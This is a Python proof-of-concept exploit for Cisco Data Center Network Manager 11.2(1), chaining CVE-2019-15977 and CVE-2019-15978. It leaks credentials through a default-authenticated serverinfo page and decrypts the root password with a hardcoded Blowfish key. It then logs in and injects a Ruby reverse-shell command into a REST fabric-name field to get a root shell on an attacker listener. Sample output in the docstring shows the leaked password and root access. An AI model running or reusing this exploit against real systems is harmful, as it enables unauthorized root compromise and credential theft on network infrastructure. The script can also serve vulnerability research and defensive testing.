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#!/usr/bin/python  
"""  
Cisco Data Center Network Manager LanFabricImpl createLanFabric Command Injection Remote Code Execution Vulnerability  
  
Tested on: Cisco DCNM 11.2.1 ISO Virtual Appliance for VMWare, KVM and Bare-metal servers  
- Release: 11.2(1)  
- Release Date: 05-Jun-2019  
- FileName: dcnm-va.11.2.1.iso.zip  
- Size: 4473.54 MB (4690850167 bytes)  
- MD5 Checksum: b1bba467035a8b41c63802ce8666b7bb   
  
Bug 1: CVE-2019-15977 / ZDI-20-012  
Bug 2: CVE-2019-15977 / ZDI-20-013  
Bug 3: CVE-2019-15978 / ZDI-20-102  
  
Example:  
========  
  
saturn:~ mr_me$ ./poc.py   
(+) usage: ./poc.py <target> <connectback:port>  
(+) eg: ./poc.py 192.168.100.123 192.168.100.59  
(+) eg: ./poc.py 192.168.100.123 192.168.100.59:1337  
  
saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.59:1337  
(+) leaked user: root  
(+) leaked pass: Dcnmpass123  
(+) leaked vfs path: temp18206a94b7c45072/content-85ba056e1faec012  
(+) created a root session!  
(+) starting handler on port 1337  
(+) connection from 192.168.100.123  
(+) pop thy shell!  
id  
uid=0(root) gid=0(root) groups=0(root)  
uname -a  
Linux localhost 3.10.0-957.10.1.el7.x86_64 #1 SMP Mon Mar 18 15:06:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux  
"""  
  
import re  
import sys  
import random  
import socket  
import string  
import requests  
import telnetlib  
from threading import Thread  
from Crypto.Cipher import Blowfish  
from requests.auth import HTTPBasicAuth  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
def handler(lp):  
print "(+) starting handler on port %d" % lp  
t = telnetlib.Telnet()  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind(("0.0.0.0", lp))  
s.listen(1)  
conn, addr = s.accept()  
print "(+) connection from %s" % addr[0]  
t.sock = conn  
print "(+) pop thy shell!"  
t.interact()  
  
def exec_code(t, lp, s):  
handlerthr = Thread(target=handler, args=(lp,))  
handlerthr.start()  
c = { "JSESSIONID" : sessionid }  
r = requests.get("https://%s/%s" % (t, s), cookies=c, verify=False)  
  
def random_string(string_length = 8):  
""" generate a random string of fixed length """  
letters = string.ascii_lowercase  
return ''.join(random.choice(letters) for i in range(string_length))  
  
def decrypt(key):  
""" decrypt the leaked password """  
cipher = Blowfish.new("jaas is the way", Blowfish.MODE_ECB)  
msg = cipher.decrypt(key.decode("hex"))  
return msg  
  
def we_can_leak(target):  
""" used to bypass auth """  
global dbuser, dbpass, vfspth, jdbc, rootuser, rootpass  
dbuser = None  
dbpass = None   
vfspth = None  
rootuser = None  
rootpass = None  
jdbc = None  
uri = 'https://%s/serverinfo/HtmlAdaptor?action=displayServerInfos' % target  
c = HTTPBasicAuth('admin', 'nbv_12345')  
r = requests.get(uri, verify=False, auth=c)  
leaked = r.text  
match = re.search("db.password = #(.*)", leaked)  
if match:  
dbpass = match.group(1)  
match = re.search("db.user = (.*)", leaked)  
if match:  
dbuser = match.group(1)  
match = re.search("dcnmweb = (.*)", leaked)  
if match:  
vfspth = match.group(1)  
match = re.search("db.url = (.*)", leaked)  
if match:  
jdbc = match.group(1)  
match = re.search("server.sftp.password = #(.*)", leaked)  
if match:  
rootpass = match.group(1)  
match = re.search("server.sftp.username = (.*)", leaked)  
if match:  
rootuser = match.group(1)  
if dbuser and dbpass and vfspth and jdbc and rootuser and rootpass:  
return True  
return False  
  
def we_can_login(target, password):  
""" we have bypassed auth at this point by leaking the creds """  
global sessionid, resttoken  
d = {  
"j_username" : rootuser,  
"j_password" : password,  
}  
uri = "https://%s/j_spring_security_check" % target  
r = requests.post(uri, data=d, verify=False, allow_redirects=False)  
if "Set-Cookie" in r.headers:  
match = re.search(r"JSESSIONID=(.{56}).*resttoken=(\d{1,3}:.{44});", r.headers["Set-Cookie"])  
if match:  
sessionid = match.group(1)  
resttoken = match.group(2)  
return True  
return False  
  
def pop_a_root_shell(t, ls, lp):  
""" get dat shell! """  
handlerthr = Thread(target=handler, args=(lp,))  
handlerthr.start()  
uri = "https://%s/rest/fabrics" % t  
cmdi = "%s\";'`{ruby,-rsocket,-e'c=TCPSocket.new(\"%s\",\"%d\");" % (random_string(), ls, lp)  
cmdi += "while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print(io.read)}end'}`'\""  
j = {   
"name" : cmdi,  
  
# this is needed to pass validate() on line 149 of the LanFabricImpl class  
"generalSetting" : {  
"asn" : "1337",  
"provisionOption" : "Manual"  
},   
"provisionSetting" : {  
"dhcpSetting": {  
"primarySubnet" : "127.0.0.1",  
"primaryDNS" : "127.0.0.1",  
"secondaryDNS" : "127.0.0.1"  
},  
"ldapSetting" : {  
"server" : "127.0.0.1"  
},  
"amqpSetting" : {  
"server" : "127.0.0.1:1337"  
}  
}  
}  
c = { "resttoken": resttoken }  
r = requests.post(uri, json=j, cookies=c, verify=False)  
if r.status_code == 200 and ls in r.text:  
return True  
return False  
  
def main():  
if len(sys.argv) != 3:  
print "(+) usage: %s <target> <connectback:port>" % sys.argv[0]  
print "(+) eg: %s 192.168.100.123 192.168.100.59" % sys.argv[0]  
print "(+) eg: %s 192.168.100.123 192.168.100.59:1337" % sys.argv[0]  
sys.exit(1)  
t = sys.argv[1]  
cb = sys.argv[2]  
if not ":" in cb:  
print "(+) using default connectback port 4444"  
ls = cb  
lp = 4444  
else:  
if not cb.split(":")[1].isdigit():  
print "(-) %s is not a port number!" % cb.split(":")[1]  
sys.exit(-1)  
ls = cb.split(":")[0]  
lp = int(cb.split(":")[1])  
  
# stage 1 - leak the creds  
if we_can_leak(t):  
pwd = re.sub(r'[^\x20-\x7F]+','', decrypt(rootpass))  
print "(+) leaked user: %s" % rootuser  
print "(+) leaked pass: %s" % pwd  
print "(+) leaked vfs path: %s" % "/".join(vfspth.split("/")[10:])  
  
# stage 2 - get a valid sesson  
if we_can_login(t, pwd):  
print "(+) created a root session!"  
  
# stage 3 - get a root shell via cmdi  
pop_a_root_shell(t, ls, lp)  
  
if __name__ == "__main__":  
main()